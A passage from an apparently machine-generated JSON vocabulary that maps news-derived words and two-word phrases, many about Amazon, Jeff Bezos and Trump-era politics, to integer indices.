 \"trump pat\": 145900,\n  \"true inc_notepad\": 145901,\n  \"cool stuffy\": 145902,\n  \"order home\": 145903,\n  \"early age\": 145904,\n  \"aclu attorney\": 145905,\n  \"border employee\": 145906,\n  \"beverages\": 145907,\n  \"dubious stories\": 145908,\n  \"yguado\": 145909,\n  \"31m\": 145910,\n  \"second machine\": 145911,\n  \"dismount\": 145912,\n  \"short treasurys\": 145913,\n  \"readers 2018\": 145914,\n  \"elements\": 145915,\n  \"000 pages\": 145916,\n  \"myriad\": 145917,\n  \"climate accords\": 145918,\n  \"national level\": 145919,\n  \"ami using\": 145920,\n  \"baptist churchgoers\": 145921,\n  \"martens\": 145922,\n  \"data bs_link\": 145923,\n  \"uk rules\": 145924,\n  \"davos gathering\": 145925,\n  \"sharon massachusetts\": 145926,\n  \"carolinas medical\": 145927,\n  \"olitics\": 145928,\n  \"luis magana\": 145929,\n  \"formed earlier\": 145930,\n  \"room avoiding\": 145931,\n  \"indiana state\": 145932,\n  \"gates\": 145933,\n  \"mobile scheduling\": 145934,\n  \"large set\": 145935,\n  \"virgin\": 145936,\n  \"world largest\": 145937,\n  \"story writing\": 145938,\n  \"markets pushing\": 145939,\n  \"waldo\": 145940,\n  \"scrubbed\": 145941,\n  \"alomran\": 145942,\n  \"senate intelligence\": 145943,\n  \"actually response\": 145944,\n  \"president lincoln\": 145945,\n  \"screen technology\": 145946,\n  \"starts fell\": 145947,\n  \"sears\": 145948,\n  \"add skills\": 145949,\n  \"pet project\": 145950,\n  \"technical systems\": 145951,\n  \"amazon worker\": 145952,\n  \"final competition\": 145953,\n  \"somewhat troublesome\": 145954,\n  \"animosity hasn\": 145955,\n  \"probably wouldn\": 145956,\n  \"ground music\": 145957,\n  \"reback work\": 145958,\n  \"radar 2017\": 145959,\n  \"retailer sells\": 145960,\n  \"really dumb\": 145961,\n  \"intraday high\": 145962,\n  \"doesn play\": 145963,\n  \"1456et\": 145964,\n  \"trump mocks\": 145965,\n  \"contract google\": 145966,\n  \"investors hanging\": 145967,\n  \"services partner\": 145968,\n  \"different global\": 145969,\n  \"started family\": 145970,\n  \"programmed alexa\": 145971,\n  \"dimitrios pagourtzis\": 145972,\n  \"breakups summer\": 145973,\n  \"bezos wings\": 145974,\n  \"bellowing\": 145975,\n  \"shelves today\": 145976,\n  \"big thing\": 145977,\n  \"giannandrea\": 145978,\n  \"amazon decided\": 145979,\n  \"right website\": 145980,\n  \"p0 v4\": 145981,\n  \"function overrides\": 145982,\n  \"local politicians\": 145983,\n  \"american capitalism\": 145984,\n  \"story saudi\": 145985,\n  \"successful reaching\": 145986,\n  \"asiatatler\": 145987,\n  \"broad sense\": 145988,\n  \"clarkson\": 145989,\n  \"homelessness economist\": 145990,\n  \"washington pen\": 145991,\n  \"worry seattle\": 145992,\n  \"unaccompanied minors\": 145993,\n  \"custer\": 145994,\n  \"bumper stickers\": 145995,\n  \"vastly scaled\": 145996,\n  \"flinched\": 145997,\n  \"789 amazon\": 145998,\n  \"real consequences\": 145999,\n  \"eisele\": 146000,\n  \"marketwatch ontwitter\": 146001,\n  \"vastly\": 146002,\n  \"home device\": 146003,\n  \"jrosenworcel\": 146004,\n  \"natalie portman\": 146005,\n  \"says sinclair\": 146006,\n  \"cnl_custom_color null\": 146007,\n  \"local self\": 146008,\n  \"billion hit\": 146009,\n  \"fast moving\": 146010,\n  \"massive sales\": 146011,\n  \"clear repeatedly\": 146012,\n  \"suffer eps\": 146013,\n  \"literary climber\": 146014,\n  \"different shirt\": 146015,\n  \"favouring amazon\": 146016,\n  \"completes marathon\": 146017,\n  \"enquirer attempted\": 146018,\n  \"heckling\": 146019,\n  \"justice told\": 146020,\n  \"abhorrent\": 146021,\n  \"melchiorre complained\": 146022,\n  \"proactive\": 146023,\n  \"twsrc\": 146024,\n  \"old crime\": 146025,\n  \"stone appeared\": 146026,\n  \"companies cornering\": 146027,\n  \"prompting comparisons\": 146028,\n  \"just tying\": 146029,\n  \"scale problems\": 146030,\n  \"fund bezos\": 146031,\n  \"employees worry\": 146032,\n  \"google trigger\": 146033,\n  \"brand registry\": 146034,\n  \"privacy probe\": 146035,\n  \"failed amazon\": 146036,\n  \"coins using\": 146037,\n  \"victoria burke\": 146038,\n  \"beauty president\": 146039,\n  \"pay raises\": 146040,\n  \"hour tonight\": 146041,\n  \"changing marketplace\": 146042,\n  \"global advsrs\": 146043,\n  \"schooling chuck\": 146044,\n  \"carlson quest\": 146045,\n  \"channels trump\": 146046,\n  \"trump does\": 146047,\n  \"firm win\": 146048,\n  \"joy reid\": 146049,\n  \"putting increased\": 146050,\n  \"unruly behemoth\": 146051,\n  \"organization presumably\": 146052,\n  \"government permission\": 146053,\n  \"world polling\": 146054,\n  \"earnings expectation\": 146055,\n  \"tamblyn\": 146056,\n  \"racist party\": 146057,\n  \"bo manry\": 146058,\n  \"amazon private\": 146059,\n  \"ill fated\": 146060,\n  \"mightily\": 146061,\n  \"thewall\": 146062,\n  \"prosecutors revealed\": 146063,\n  \"clothes model\": 146064,\n  \"counterfeited\": 146065,\n  \"protecting consumers\": 146066,\n  \"holidays\": 146067,\n  \"internet amazon\": 146068,\n  \"labor laws\": 146069,\n  \"unbreakable smart\": 146070,\n  \"gossipmongers\": 146071,\n  \"dominic raab\": 146072,\n  \"myers army\": 146073,\n  \"bezos concluded\": 146074,\n  \"help save\": 146075,\n  \"tv industry\": 146076,\n  \"profile anderson\": 146077,\n  \"racy pictures\": 146078,\n  \"stock felt\": 146079,\n  \"counsel findings\": 146080,\n  \"spicer allegedly\": 146081,\n  \"omnipresent alexa\": 146082,\n  \"requiring confidentiality\": 146083,\n  \"southern paraguay\": 146084,\n  \"facebook writes\": 146085,\n  \"enlist foreign\": 146086,\n  \"felton\": 146087,\n  \"increased power\": 146088,\n  \"individuals white\": 146089,\n  \"highly effective\": 146090,\n  \"helps drive\": 146091,\n  \"rises 2018\": 146092,\n  \"sleight\": 146093,\n  \"callbackobj containerel\": 146094,\n  \"ccn hacked\": 146095,\n  \"soybeans piling\": 146096,\n  \"approval rights\": 146097,\n  \"help companies\": 146098,\n  \"store pick\": 146099,\n  \"suburban dynamo\": 146100,\n  \"notopoulos katienotopoulos\": 146101,\n  \"amzn introduced\": 146102,\n  \"school day\": 146103,\n  \"cattle ranch\": 146104,\n  \"fledged hollywood\": 146105,\n  \"representative beto\": 146106,\n  \"boost trump\": 146107,\n  \"flexential thanks\": 146108,\n  \"easily explained\": 146109,\n  \"past story\": 146110,\n  \"fayetteville harris\": 146111,\n  \"jenner parody\": 146112,\n  \"diary portland\": 146113,\n  \"probably used\": 146114,\n  \"protect user\": 146115,\n  \"brzezinski suggested\": 146116,\n  \"crimes related\": 146117,\n  \"political tweets\": 146118,\n  \"hulu new\": 146119,\n  \"respondents political\": 146120,\n  \"paula avila\": 146121,\n  \"orders white\": 146122,\n  \"internet mercenaries\": 146123,\n  \"hateful language\": 146124,\n  \"leo sun\": 146125,\n  \"data point\": 146126,\n  \"conclusions\": 146127,\n  \"want flashlight\": 146128,\n  \"honest everyman\": 146129,\n  \"shopping seen\": 146130,\n  \"dreambox learning\": 146131,\n  \"regions largest\": 146132,\n  \"reaction london\": 146133,\n  \"gather data\": 146134,\n  \"1930s\": 146135,\n  \"presented proxy\": 146136,\n  \"review taliban\": 146137,\n  \"profitable investments\": 146138,\n  \"lena\": 146139,\n  \"remain free\": 146140,\n  \"authorities instead\": 146141,\n  \"lango recently\": 146142,\n  \"york neighborhood\": 146143,\n  \"large building\": 146144,\n  \"unsavory business\": 146145,\n  \"flagship\": 146146,\n  \"usc pharmaceutical\": 146147,\n  \"axios reporter\": 146148,\n  \"television jeff\": 146149,\n  \"matt maley\": 146150,\n  \"growth yesterday\": 146151,\n  \"shakes hands\": 146152,\n  \"house people\": 146153,\n  \"brute\": 146154,\n  \"continuesa\": 146155,\n  \"bezos founder\": 146156,\n  \"potentially taking\": 146157,\n  \"ajello\": 146158,\n  \"payments altogether\": 146159,\n  \"1994 initially\": 146160,\n  \"outdoor\": 146161,\n  \"mueller witch\": 146162,\n  \"outlet want\": 146163,\n  \"prominent social\": 146164,\n  \"house spy\": 146165,\n  \"roar\": 146166,\n  \"york\": 146167,\n  \"avoidance known\": 146168,\n  \"allow employees\": 146169,\n  \"3d printed\": 146170,\n  \"kill pecker\": 146171,\n  \"a4ee n1\": 146172,\n  \"work cnet\": 146173,\n  \"malfunction\": 146174,\n  \"apparent willingness\": 146175,\n  \"introducing tariffs\": 146176,\n  \"postmaster brennan\": 146177,\n  \"voice requests\": 146178,\n  \"comcast subsidiary\": 146179,\n  \"association kiannah\": 146180,\n  \"live poked\": 146181,\n  \"party control\": 146182,\n  \"corollary\": 146183,\n  \"trump rewarded\": 146184,\n  \"win government\": 146185,\n  \"secret girlfriend\": 146186,\n  \"desperate people\": 146187,\n  \"wouldn drop\": 146188,\n  \"giant backing\": 146189,\n  \"standards board\": 146190,\n  \"hungry investors\": 146191,\n  \"previously covered\": 146192,\n  \"measures political\": 146193,\n  \"afternoon rally\": 146194,\n  \"years lots\": 146195,\n  \"shibabi\": 146196,\n  \"leaders fear\": 146197,\n  \"similar lawsuits\": 146198,\n  \"official inquiry\": 146199,\n  \"split jeff\": 146200,\n  \"prominent technology\": 146201,\n  \"21st annual\": 146202,\n  \"require\": 146203,\n  \"banking day\": 146204,\n  \"nickelsburg\": 146205,\n  \"injury\": 146206,\n  \"analyst takes\": 146207,\n  \"2018 allen\": 146208,\n  \"app accounts\": 146209,\n  \"increased salaries\": 146210,\n  \"enquirer allegiances\": 146211,\n  \"ap empire\": 146212,\n  \"world blue\": 146213,\n  \"flint investigation\": 146214,\n  \"program snap\": 146215,\n  \"fsu leadership\": 146216,\n  \"noahs\": 146217,\n  \"daily market\": 146218,\n  \"philo holm\": 146219,\n  \"proof vest\": 146220,\n  \"montgomery county\": 146221,\n  \"time competing\": 146222,\n  \"sanders understates\": 146223,\n  \"extremists arguing\": 146224,\n  \"kingsolver\": 146225,\n  \"eventual acquisition\": 146226,\n  \"qualifying\": 146227,\n  \"charge rourke\": 146228,\n  \"included texts\": 146229,\n  \"regulates\": 146230,\n  \"create chill\": 146231,\n  \"receive federal\": 146232,\n  \"taking actions\": 146233,\n  \"html new\": 146234,\n  \"financial goldman\": 146235,\n  \"government assume\": 146236,\n  \"entire aws\": 146237,\n  \"lexology victoria\": 146238,\n  \"research report\": 146239,\n  \"survivors\": 146240,\n  \"drew attention\": 146241,\n  \"autostartvideo isliveplayer\": 146242,\n  \"trump skewers\": 146243,\n  \"johnson trump\": 146244,\n  \"2015 iran\": 146245,\n  \"clinched\": 146246,\n  \"benefits enormously\": 146247,\n  \"individuals suppose\": 146248,\n  \"similarly marc\": 146249,\n  \"fuller\": 146250,\n  \"duran\": 146251,\n  \"close proximity\": 146252,\n  \"google employed\": 146253,\n  \"trump improperly\": 146254,\n  \"order contains\": 146255,\n  \"behemoth right\": 146256,\n  \"acceso\": 146257,\n  \"products investors\": 146258,\n  \"complex algorithms\": 146259,\n  \"amazon forget\": 146260,\n  \"burnish amazon\": 146261,\n  \"gravy train\": 146262,\n  \"emarketer digital\": 146263,\n  \"firsthand experience\": 146264,\n  \"trump host\": 146265,\n  \"real estate\": 146266,\n  \"reducing safety\": 146267,\n  \"bezos jeffrey\": 146268,\n  \"bullish particularly\": 146269,\n  \"amazon qz\": 146270,\n  \"lasting depending\": 146271,\n  \"coursing\": 146272,\n  \"amazon fight\": 146273,\n  \"hour sitcom\": 146274,\n  \"willing\": 146275,\n  \"delivery prices\": 146276,\n  \"finding attributed\": 146277,\n  \"arcnewsletter\": 146278,\n  \"russia studies\": 146279,\n  \"economic development\": 146280,\n  \"tech moguls\": 146281,\n  \"keeps\": 146282,\n  \"analysts covering\": 146283,\n  \"specific signs\": 146284,\n  \"interests firms\": 146285,\n  \"portfolio park\": 146286,\n  \"japan based\": 146287,\n  \"parkland amazon\": 146288,\n  \"country music\": 146289,\n  \"small startup\": 146290,\n  \"cherished friends\": 146291,\n  \"jedi contract\": 146292,\n  \"deep data\": 146293,\n  \"global news\": 146294,\n  \"suggests recession\": 146295,\n  \"years following\": 146296,\n  \"crispin\": 146297,\n  \"nemesis jeff\": 146298,\n  \"conservative orange\": 146299,\n  \"accent new\": 146300,\n  \"says fortune\": 146301,\n  \"characters\": 146302,\n  \"imazon\": 146303,\n  \"phase sophia\": 146304,\n  \"crony investment\": 146305,\n  \"tif target\": 146306,\n  \"relations subcommittee\": 146307,\n  \"needed george\": 146308,\n  \"money led\": 146309,\n  \"subsections technology\": 146310,\n  \"format ellison\": 146311,\n  \"randal rand\": 146312,\n  \"chief product\": 146313,\n  \"distracting revenge\": 146314,\n  \"past best\": 146315,\n  \"project announcement\": 146316,\n  \"time president\": 146317,\n  \"expected race\": 146318,\n  \"virginia sparked\": 146319,\n  \"scientific ideas\": 146320,\n  \"guard questioned\": 146321,\n  \"tavern\": 146322,\n  \"nation tech\": 146323,\n  \"fierce fabulous\": 146324,\n  \"plantilla pic\": 146325,\n  \"sola\": 146326,\n  \"items listed\": 146327,\n  \"care powerhouse\": 146328,\n  \"official office\": 146329,\n  \"key board\": 146330,\n  \"earlier article\": 146331,\n  \"pill distribution\": 146332,\n  \"metro areas\": 146333,\n  \"afp president\": 146334,\n  \"briefing documents\": 146335,\n  \"amzn spent\": 146336,\n  \"68b\": 146337,\n  \"generate sales\": 146338,\n  \"nb\": 146339,\n  \"janssen\": 146340,\n  \"begin making\": 146341,\n  \"shows midterm\": 146342,\n  \"forge compromise\": 146343,\n  \"reusable rockets\": 146344,\n  \"antagonizes bezos\": 146345,\n  \"campaign associates\": 146346,\n  \"das\": 146347,\n  \"comedy sketch\": 146348,\n  \"evil motivation\": 146349,\n  \"wants queens\": 146350,\n  \"pecker speaking\": 146351,\n  \"extremely boring\": 146352,\n  \"dollar gains\": 146353,\n  \"dad tony\": 146354,\n  \"menacing\": 146355,\n  \"connect doctors\": 146356,\n  \"apple netflix\": 146357,\n  \"online right\": 146358,\n  \"sound wrong\": 146359,\n  \"mcgill\": 146360,\n  \"flexible higher\": 146361,\n  \"213 000\": 146362,\n  \"1535755023\": 146363,\n  \"voters don\": 146364,\n  \"decades recode\": 146365,\n  \"phone video\": 146366,\n  \"sex offender\": 146367,\n  \"prevent aws\": 146368,\n  \"explicit protections\": 146369,\n  \"mailing additional\": 146370,\n  \"bit insensitive\": 146371,\n  \"office sf\": 146372,\n  \"senator role\": 146373,\n  \"nyse ccs\": 146374,\n  \"nomenclature\": 146375,\n  \"isn doing\": 146376,\n  \"favorite recipes\": 146377,\n  \"writes jonathan\": 146378,\n  \"kickers tired\": 146379,\n  \"according court\": 146380,\n  \"media policy\": 146381,\n  \"card companies\": 146382,\n  \"sortorder categories\": 146383,\n  \"game trump\": 146384,\n  \"eventually reduce\": 146385,\n  \"times stories\": 146386,\n  \"native rss\": 146387,\n  \"dominant products\": 146388,\n  \"computer driving\": 146389,\n  \"history white\": 146390,\n  \"exploding profits\": 146391,\n  \"people searching\": 146392,\n  \"korecki\": 146393,\n  \"park hallquist\": 146394,\n  \"duffell president\": 146395,\n  \"worked\": 146396,\n  \"11th passed\": 146397,\n  \"parseint\": 146398,\n  \"wild mash\": 146399,\n  \"investment increases\": 146400,\n  \"weighing challenges\": 146401,\n  \"study estimate\": 146402,\n  \"amazon ruled\": 146403,\n  \"huge boost\": 146404,\n  \"god sake\": 146405,\n  \"operatives used\": 146406,\n  \"right dent\": 146407,\n  \"merger month\": 146408,\n  \"editor wendy\": 146409,\n  \"rabbitti\": 146410,\n  \"commission version\": 146411,\n  \"won decide\": 146412,\n  \"rarely questions\": 146413,\n  \"reports turkish\": 146414,\n  \"year annual\": 146415,\n  \"poff\": 146416,\n  \"prime series\": 146417,\n  \"second issue\": 146418,\n  \"business regional\": 146419,\n  \"usps denies\": 146420,\n  \"everybody lips\": 146421,\n  \"corps members\": 146422,\n  \"brand realme\": 146423,\n  \"sullivan supports\": 146424,\n  \"business friends\": 146425,\n  \"letter daniel\": 146426,\n  \"butting congressional\": 146427,\n  \"week biggest\": 146428,\n  \"influence president\": 146429,\n  \"user purportedly\": 146430,\n  \"high contrast\": 146431,\n  \"wasn responsible\": 146432,\n  \"sanctions legislation\": 146433,\n  \"current relationship\": 146434,\n  \"department investigations\": 146435,\n  \"healthful\": 146436,\n  \"genesis\": 146437,\n  \"georgia minutes\": 146438,\n  \"moving companies\": 146439,\n  \"president ofthe\": 146440,\n  \"eisen sue\": 146441,\n  \"breaking central\": 146442,\n  \"bring quality\": 146443,\n  \"maybe instead\": 146444,\n  \"play video\": 146445,\n  \"bespoke\": 146446,\n  \"c9x throw\": 146447,\n  \"high office\": 146448,\n  \"carell threw\": 146449,\n  \"characterizing\": 146450,\n  \"features outlandish\": 146451,\n  \"need facilities\": 146452,\n  \"headquarters according\": 146453,\n  \"interview duckworth\": 146454,\n  \"akelige\": 146455,\n  \"push bricks\": 146456,\n  \"time city\": 146457,\n  \"chinese companies\": 146458,\n  \"calibration shifted\": 146459,\n  \"chuck spirit\": 146460,\n  \"environment sharply\": 146461,\n  \"work people\": 146462,\n  \"place original\": 146463,\n  \"attendees hearing\": 146464,\n  \"curious included\": 146465,\n  \"inventory\": 146466,\n  \"americans paid\": 146467,\n  \"implement manage\": 146468,\n  \"effectively neutralized\": 146469,\n  \"thebookofnick\": 146470,\n  \"180 shares\": 146471,\n  \"scrutinizes\": 146472,\n  \"mcconnell op\": 146473,\n  \"hiring campaigns\": 146474,\n  \"plummeting oil\": 146475,\n  \"prejudice\": 146476,\n  \"word search\": 146477,\n  \"issues took\": 146478,\n  \"rights industrial\": 146479,\n  \"warren plans\": 146480,\n  \"butuan city\": 146481,\n  \"signed comprehensive\": 146482,\n  \"rolandsmartin\": 146483,\n  \"required participants\": 146484,\n  \"content advances\": 146485,\n  \"regulatory action\": 146486,\n  \"500 companies\": 146487,\n  \"prosperity adding\": 146488,\n  \"chief record\": 146489,\n  \"spring rain\": 146490,\n  \"character shares\": 146491,\n  \"mass arrests\": 146492,\n  \"media source\": 146493,\n  \"tropics took\": 146494,\n  \"jodi moreno\": 146495,\n  \"graham criticize\": 146496,\n  \"business suits\": 146497,\n  \"onex means\": 146498,\n  \"national announcement\": 146499,\n  \"40mm\": 146500,\n  \"dave wasserman\": 146501,\n  \"wrangling\": 146502,\n  \"bezos defended\": 146503,\n  \"zuckerberg facebook\": 146504,\n  \"known official\": 146505,\n  \"drew cantor\": 146506,\n  \"daimler porsche\": 146507,\n  \"entertainment performance\": 146508,\n  \"newspaper purchased\": 146509,\n  \"boot space\": 146510,\n  \"returns rep\": 146511,\n  \"restarted\": 146512,\n  \"ms diagnosis\": 146513,\n  \"pelosi spoke\": 146514,\n  \"allow filmmakers\": 146515,\n  \"ant\\u00f4nio marques\": 146516,\n  \"billion formula\": 146517,\n  \"finance daily\": 146518,\n  \"key audience\": 146519,\n  \"twitter hound\": 146520,\n  \"player lived\": 146521,\n  \"established strategies\": 146522,\n  \"blueshield association\": 146523,\n  \"reader comments\": 146524,\n  \"mcconnell announced\": 146525,\n  \"introduction\": 146526,\n  \"enquirer senior\": 146527,\n  \"stress reduction\": 146528,\n  \"engine marketing\": 146529,\n  \"stanley dove\": 146530,\n  \"books programs\": 146531,\n  \"tweet employees\": 146532,\n  \"radar enforcement\": 146533,\n  \"ipt drew\": 146534,\n  \"aws ceo\": 146535,\n  \"best reform\": 146536,\n  \"devices web\": 146537,\n  \"facilitating usd\": 146538,\n  \"committee trump\": 146539,\n  \"opined leaving\": 146540,\n  \"unprecedented claims\": 146541,\n  \"twitter questions\": 146542,\n  \"nambia\": 146543,\n  \"acted legitimately\": 146544,\n  \"socialist wrote\": 146545,\n  \"shipments forecast\": 146546,\n  \"feel hopeful\": 146547,\n  \"asahi diet\": 146548,\n  \"payloads routinely\": 146549,\n  \"telecom gear\": 146550,\n  \"global sellers\": 146551,\n  \"t000002775 t000047682\": 146552,\n  \"david zurawik\": 146553,\n  \"text new\": 146554,\n  \"capture\": 146555,\n  \"toronto added\": 146556,\n  \"craig smith\": 146557,\n  \"round facebook\": 146558,\n  \"month reporting\": 146559,\n  \"possible instead\": 146560,\n  \"new products\": 146561,\n  \"belk belk\": 146562,\n  \"facebook microsoft\": 146563,\n  \"press email\": 146564,\n  \"farmer family\": 146565,\n  \"expiration times\": 146566,\n  \"post business\": 146567,\n  \"bezos luck\": 146568,\n  \"representatives election\": 146569,\n  \"crime stating\": 146570,\n  \"lush\": 146571,\n  \"heavy flooding\": 146572,\n  \"woodley gushes\": 146573,\n  \"cultural diversity\": 146574,\n  \"buzzfeed site\": 146575,\n  \"daily sign\": 146576,\n  \"pushing employees\": 146577,\n  \"shoppers using\": 146578,\n  \"autocrats\": 146579,\n  \"advisor john\": 146580,\n  \"wt\": 146581,\n  \"downturn 2018\": 146582,\n  \"dash devices\": 146583,\n  \"man narrates\": 146584,\n  \"tighter regulation\": 146585,\n  \"county based\": 146586,\n  \"tied red\": 146587,\n  \"surely brings\": 146588,\n  \"logos workers\": 146589,\n  \"unnamed\": 146590,\n  \"activities founded\": 146591,\n  \"consumers want\": 146592,\n  \"internet driving\": 146593,\n  \"layman\": 146594,\n  \"encourage compartmentalization\": 146595,\n  \"operations dave\": 146596,\n  \"wider\": 146597,\n  \"bartiromo strength\": 146598,\n  \"discussed bezos\": 146599,\n  \"world north\": 146600,\n  \"comic\": 146601,\n  \"term investors\": 146602,\n  \"employee schedules\": 146603,\n  \"kanchan\": 146604,\n  \"far mo\": 146605,\n  \"big businesses\": 146606,\n  \"bask\": 146607,\n  \"stock highlighting\": 146608,\n  \"context trump\": 146609,\n  \"seemingly taking\": 146610,\n  \"chase encouraged\": 146611,\n  \"houston area\": 146612,\n  \"costs significantly\": 146613,\n  \"hq near\": 146614,\n  \"president ticked\": 146615,\n  \"building fedex\": 146616,\n  \"remains immune\": 146617,\n  \"181003173251 amazon\": 146618,\n  \"activities parents\": 146619,\n  \"york 14th\": 146620,\n  \"obama usa\": 146621,\n  \"page request\": 146622,\n  \"fund low\": 146623,\n  \"franz alt\": 146624,\n  \"leftist newspapers\": 146625,\n  \"reported 262\": 146626,\n  \"chairman signals\": 146627,\n  \"interrupted according\": 146628,\n  \"handed billion\": 146629,\n  \"company seeking\": 146630,\n  \"standardized\": 146631,\n  \"cnn reporters\": 146632,\n  \"trivialize new\": 146633,\n  \"presidentelect tackle\": 146634,\n  \"probably headed\": 146635,\n  \"transparency\": 146636,\n  \"david covucci\": 146637,\n  \"firm questioned\": 146638,\n  \"attorney elkan\": 146639,\n  \"reagan boom\": 146640,\n  \"planes called\": 146641,\n  \"violence image\": 146642,\n  \"antastic\": 146643,\n  \"immunize\": 146644,\n  \"michigan wolverines\": 146645,\n  \"refn powered\": 146646,\n  \"assembly plan\": 146647,\n  \"retailer republicans\": 146648,\n  \"facebook pages\": 146649,\n  \"glitch independent\": 146650,\n  \"jobs morning\": 146651,\n  \"sticky situations\": 146652,\n  \"cost\": 146653,\n  \"win today\": 146654,\n  \"getting shafted\": 146655,\n  \"department complained\": 146656,\n  \"start passenger\": 146657,\n  \"democrats authorities\": 146658,\n  \"resolving lot\": 146659,\n  \"visit businessinsider\": 146660,\n  \"scott jennings\": 146661,\n  \"sept sanders\": 146662,\n  \"selection process\": 146663,\n  \"couple occasions\": 146664,\n  \"bouncing\": 146665,\n  \"613 bought\": 146666,\n  \"racism allegations\": 146667,\n  \"wholesale cost\": 146668,\n  \"war period\": 146669,\n  \"palmer taylor\": 146670,\n  \"rentiers piggybacking\": 146671,\n  \"article latam\": 146672,\n  \"rates just\": 146673,\n  \"pasture cattle\": 146674,\n  \"subsequent impact\": 146675,\n  \"perfect terrifying\": 146676,\n  \"point winner\": 146677,\n  \"worry wall\": 146678,\n  \"liability reported\": 146679,\n  \"massive government\": 146680,\n  \"jr proudly\": 146681,\n  \"boast market\": 146682,\n  \"subsidiaries include\": 146683,\n  \"military hardware\": 146684,\n  \"considerations ahead\": 146685,\n  \"sparked concerns\": 146686,\n  \"pharmaceutical businesses\": 146687,\n  \"market report\": 146688,\n  \"exclude\": 146689,\n  \"various editors\": 146690,\n  \"disgusting ny\": 146691,\n  \"environments\": 146692,\n  \"seconds hawaii\": 146693,\n  \"county landowner\": 146694,\n  \"essential\": 146695,\n  \"investors sold\": 146696,\n  \"queens credit\": 146697,\n  \"headlineplaintext jquery\": 146698,\n  \"bolduan congressman\": 146699,\n  \"bitter political\": 146700,\n  \"bezos originally\": 146701,\n  \"carrier performance\": 146702,\n  \"selling private\": 146703,\n  \"thompson\": 146704,\n  \"employment stock\": 146705,\n  \"states away\": 146706,\n  \"safer greener\": 146707,\n  \"writes tl\": 146708,\n  \"decrease\": 146709,\n  \"headlines shutdown\": 146710,\n  \"affectionately known\": 146711,\n  \"urus exterior\": 146712,\n  \"injects sorted\": 146713,\n  \"national cohesion\": 146714,\n  \"american tourist\": 146715,\n  \"hampshire nevada\": 146716,\n  \"gerrymanding\": 146717,\n  \"messaging\": 146718,\n  \"adding billion\": 146719,\n  \"blackburn jeffrey\": 146720,\n  \"make killing\": 146721,\n  \"kirsten miller\": 146722,\n  \"panhandle\": 146723,\n  \"reach agreement\": 146724,\n  \"j4 a4ee\": 146725,\n  \"fineman\": 146726,\n  \"story bears\": 146727,\n  \"unparalleled resiliency\": 146728,\n  \"crime new\": 146729,\n  \"americans did\": 146730,\n  \"successful business\": 146731,\n  \"eve session\": 146732,\n  \"policy resource\": 146733,\n  \"urban institute\": 146734,\n  \"powerful average\": 146735,\n  \"affirming\": 146736,\n  \"horror scribner\": 146737,\n  \"workplace policies\": 146738,\n  \"colorado police\": 146739,\n  \"turn political\": 146740,\n  \"momentum 2018\": 146741,\n  \"obama make\": 146742,\n  \"special\": 146743,\n  \"right\": 146744,\n  \"probably good\": 146745,\n  \"starz\": 146746,\n  \"search ad\": 146747,\n  \"trunks\": 146748,\n  \"malito\": 146749,\n  \"cnbc analyst\": 146750,\n  \"create valuable\": 146751,\n  \"contaminated\": 146752,\n  \"announce prime\": 146753,\n  \"deray mckesson\": 146754,\n  \"shark\": 146755,\n  \"talk nick\": 146756,\n  \"hirokazu kore\": 146757,\n  \"company grip\": 146758,\n  \"acquisition officer\": 146759,\n  \"casting\": 146760,\n  \"growing youth\": 146761,\n  \"weird glossy\": 146762,\n  \"readings hangman\": 146763,\n  \"book includes\": 146764,\n  \"trump sen\": 146765,\n  \"nylon\": 146766,\n  \"brings tremendous\": 146767,\n  \"zremski\": 146768,\n  \"lanaria amberkira\": 146769,\n  \"significant number\": 146770,\n  \"year pecker\": 146771,\n  \"market respectively\": 146772,\n  \"facebook donald\": 146773,\n  \"taxpayer dollars\": 146774,\n  \"post botched\": 146775,\n  \"folklore photo\": 146776,\n  \"trees hold\": 146777,\n  \"cecilia kang\": 146778,\n  \"plhilp\": 146779,\n  \"swiss\": 146780,\n  \"jerome\": 146781,\n  \"criminal case\": 146782,\n  \"155\": 146783,\n  \"hillary duff\": 146784,\n  \"developing amazon\": 146785,\n  \"niles\": 146786,\n  \"encountered\": 146787,\n  \"pacific northwest\": 146788,\n  \"chair leads\": 146789,\n  \"computer connection\": 146790,\n  \"extramarital\": 146791,\n  \"suggested story\": 146792,\n  \"snow took\": 146793,\n  \"ford forest\": 146794,\n  \"combat counterfeiting\": 146795,\n  \"civic events\": 146796,\n  \"obligations starting\": 146797,\n  \"clock project\": 146798,\n  \"service close\": 146799,\n  \"humorous story\": 146800,\n  \"ross branson\": 146801,\n  \"utilizing\": 146802,\n  \"quickly firing\": 146803,\n  \"sexuality outsiders\": 146804,\n  \"radio host\": 146805,\n  \"trump rips\": 146806,\n  \"account 100\": 146807,\n  \"killam\": 146808,\n  \"seconds senate\": 146809,\n  \"enable amazon\": 146810,\n  \"befall online\": 146811,\n  \"packages reports\": 146812,\n  \"jobsplus program\": 146813,\n  \"million allocation\": 146814,\n  \"issues manifest\": 146815,\n  \"r4ee r5q\": 146816,\n  \"213 million\": 146817,\n  \"maiella\": 146818,\n  \"tweeted rep\": 146819,\n  \"publishers simon\": 146820,\n  \"carlson continued\": 146821,\n  \"finding points\": 146822,\n  \"panel matthew\": 146823,\n  \"passing grades\": 146824,\n  \"wasn injured\": 146825,\n  \"motion does\": 146826,\n  \"document admits\": 146827,\n  \"uspto trademark\": 146828,\n  \"yellow circles\": 146829,\n  \"brief return\": 146830,\n  \"calculator handy\": 146831,\n  \"page pic\": 146832,\n  \"amazon selling\": 146833,\n  \"signed prenup\": 146834,\n  \"mail revenues\": 146835,\n  \"hijackers\": 146836,\n  \"billionaire owned\": 146837,\n  \"lost jobs\": 146838,\n  \"conservative republicans\": 146839,\n  \"widespread drone\": 146840,\n  \"star performer\": 146841,\n  \"held gathering\": 146842,\n  \"usps sure\": 146843,\n  \"atlantic monthly\": 146844,\n  \"illustrator stan\": 146845,\n  \"loop capital\": 146846,\n  \"amazon looking\": 146847,\n  \"hatch pressed\": 146848,\n  \"downtrending\": 146849,\n  \"rolnik\": 146850,\n  \"junk mail\": 146851,\n  \"additionally realizing\": 146852,\n  \"investable\": 146853,\n  \"perfect sense\": 146854,\n  \"easily portable\": 146855,\n  \"overcharges\": 146856,\n  \"performed remarkably\": 146857,\n  \"super\": 146858,\n  \"economy saw\": 146859,\n  \"facebook plunge\": 146860,\n  \"amazon workforce\": 146861,\n  \"suddenly reach\": 146862,\n  \"trump commented\": 146863,\n  \"semi nude\": 146864,\n  \"correspondence mallory\": 146865,\n  \"media matters\": 146866,\n  \"tu\": 146867,\n  \"hurwitz\": 146868,\n  \"william watts\": 146869,\n  \"yawners\": 146870,\n  \"forced jeff\": 146871,\n  \"382 points\": 146872,\n  \"unraveling\": 146873,\n  \"ecommerce 